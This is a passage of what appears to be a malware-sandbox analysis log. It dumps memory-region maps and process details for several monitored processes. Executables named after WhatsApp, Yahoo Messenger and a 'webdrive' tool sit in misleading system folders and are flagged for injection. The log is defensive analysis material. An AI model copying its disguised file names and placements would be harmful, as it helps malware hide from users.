0x2110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 5928 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5929 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5930 start_va = 0x4e0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 5931 start_va = 0x2120000 end_va = 0x2120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002120000" filename = "" Region: id = 5932 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5933 start_va = 0x2130000 end_va = 0x2130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002130000" filename = "" Region: id = 5934 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 5935 start_va = 0x2370000 end_va = 0x26a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 249 os_tid = 0xf30 Thread: id = 250 os_tid = 0xf24 Thread: id = 397 os_tid = 0x558 Process: id = "54" image_name = "webdrive.exe" filename = "c:\\program files\\java\\webdrive.exe" page_root = "0x741c0000" os_pid = "0xf48" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Java\\webdrive.exe\" " cur_dir = "C:\\Program Files\\Java\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3959 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3960 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3961 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3962 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3963 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3964 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3965 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3966 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3967 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3968 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3969 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3970 start_va = 0x490000 end_va = 0x54dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3971 start_va = 0x650000 end_va = 0x7d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3972 start_va = 0x870000 end_va = 0x873fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3973 start_va = 0x880000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 3974 start_va = 0xa10000 end_va = 0xa13fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 3975 start_va = 0xa30000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3976 start_va = 0xb30000 end_va = 0xbebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 3977 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 3978 start_va = 0xd40000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 3979 start_va = 0x11b0000 end_va = 0x11c6fff monitored = 0 entry_point = 0x11b14a1 region_type = mapped_file name = "webdrive.exe" filename = "\\Program Files\\Java\\webdrive.exe" (normalized: "c:\\program files\\java\\webdrive.exe") Region: id = 3980 start_va = 0x11d0000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 3981 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3982 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3983 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3984 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3985 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3986 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3987 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3988 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3989 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3990 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3991 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3992 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3993 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3994 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3995 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3996 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3997 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3998 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3999 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4000 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4001 start_va = 0x7ee60000 end_va = 0x7ef5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee60000" filename = "" Region: id = 4002 start_va = 0x7ef60000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef60000" filename = "" Region: id = 4003 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4004 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4005 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4006 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4007 start_va = 0xa20000 end_va = 0xa23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 4008 start_va = 0xbf0000 end_va = 0xbf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 4009 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4010 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4011 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 4012 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 4013 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4014 start_va = 0xc20000 end_va = 0xc20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 4015 start_va = 0xc20000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 4016 start_va = 0xd50000 end_va = 0x1086fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 251 os_tid = 0xf5c Thread: id = 252 os_tid = 0xf4c Thread: id = 364 os_tid = 0x334 Process: id = "55" image_name = "yahoomessenger.exe" filename = "c:\\program files\\uninstall information\\yahoomessenger.exe" page_root = "0x6b5f3000" os_pid = "0xf70" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Uninstall Information\\yahoomessenger.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3805 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3806 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3807 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3808 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3809 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3810 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3811 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3812 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3813 start_va = 0xd0000 end_va = 0xe6fff monitored = 0 entry_point = 0xd14a1 region_type = mapped_file name = "yahoomessenger.exe" filename = "\\Program Files\\Uninstall Information\\yahoomessenger.exe" (normalized: "c:\\program files\\uninstall information\\yahoomessenger.exe") Region: id = 3814 start_va = 0xf0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3815 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3816 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3817 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3818 start_va = 0x6e0000 end_va = 0x867fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 3819 start_va = 0x870000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 3820 start_va = 0xd60000 end_va = 0xd63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 3821 start_va = 0xd70000 end_va = 0xd73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 3822 start_va = 0xd90000 end_va = 0xd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 3823 start_va = 0xda0000 end_va = 0xe5bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 3824 start_va = 0xec0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 3825 start_va = 0xfc0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fc0000" filename = "" Region: id = 3826 start_va = 0x2510000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 3827 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3828 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3829 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3830 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3831 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3832 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3833 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3834 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3835 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3836 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3837 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3838 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3839 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3840 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3841 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3842 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3843 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3844 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3845 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3846 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3847 start_va = 0x7e8b0000 end_va = 0x7e9affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e8b0000" filename = "" Region: id = 3848 start_va = 0x7e9b0000 end_va = 0x7e9d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e9b0000" filename = "" Region: id = 3849 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3850 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3851 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3852 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5985 start_va = 0xd80000 end_va = 0xd83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 5986 start_va = 0xe60000 end_va = 0xe60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 5987 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5988 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5989 start_va = 0x5e0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5990 start_va = 0xe70000 end_va = 0xe70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e70000" filename = "" Region: id = 5991 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5992 start_va = 0xe80000 end_va = 0xe80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 5993 start_va = 0x23c0000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5994 start_va = 0x2520000 end_va = 0x2856fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 253 os_tid = 0xf84 Thread: id = 254 os_tid = 0xf74 Thread: id = 399 os_tid = 0x1380 Process: id = "56" image_name = "whatsapp.exe" filename = "c:\\program files\\microsoft.net\\whatsapp.exe" page_root = "0x6afdf000" os_pid = "0xf54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft.NET\\whatsapp.exe\" " cur_dir = "C:\\Program Files\\Microsoft.NET\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3901 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3902 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3903 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3904 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3905 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3906 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3907 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3908 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3909 start_va = 0x110000 end_va = 0x113fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3910 start_va = 0x120000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3911 start_va = 0x220000 end_va = 0x223fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 3912 start_va = 0x250000 end_va = 